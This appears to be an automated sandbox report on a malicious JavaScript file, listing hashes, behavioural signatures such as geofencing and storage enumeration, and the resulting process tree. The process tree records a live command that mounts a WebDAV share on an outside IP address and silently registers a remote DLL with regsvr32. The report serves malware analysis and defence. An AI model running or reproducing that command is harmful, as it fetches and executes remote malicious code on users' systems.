Analysis

  • max time kernel
    138s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/07/2024, 17:06

General

  • Target

    13397109271525218620.js

  • Size

    5KB

  • MD5

    416869b559fdadadf5835802da74b24f

  • SHA1

    8237400ce060e7d1a2879d5caff2e3faff27fa90

  • SHA256

    671c71aff349fec099893122f788760ffd7576409a0a871ca5d790ea2eba33e6

  • SHA512

    925a1469dac569941ee17b90494ed4e47453375cf34b9577be8b0cd0239d83defa6635a8463f78cf913dfc824aeb86f5b0e5aec1d23259613aad39874b5257ec

  • SSDEEP

    96:iKF6jSVn1su0NiSYqbzc9U6/XROfLvAkPXROfLv4oGO:iKFISZx0Nixqfc9U6/XROfLvAkPXROfT

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\13397109271525218620.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:624
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\6113204131843.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2884
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1708

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads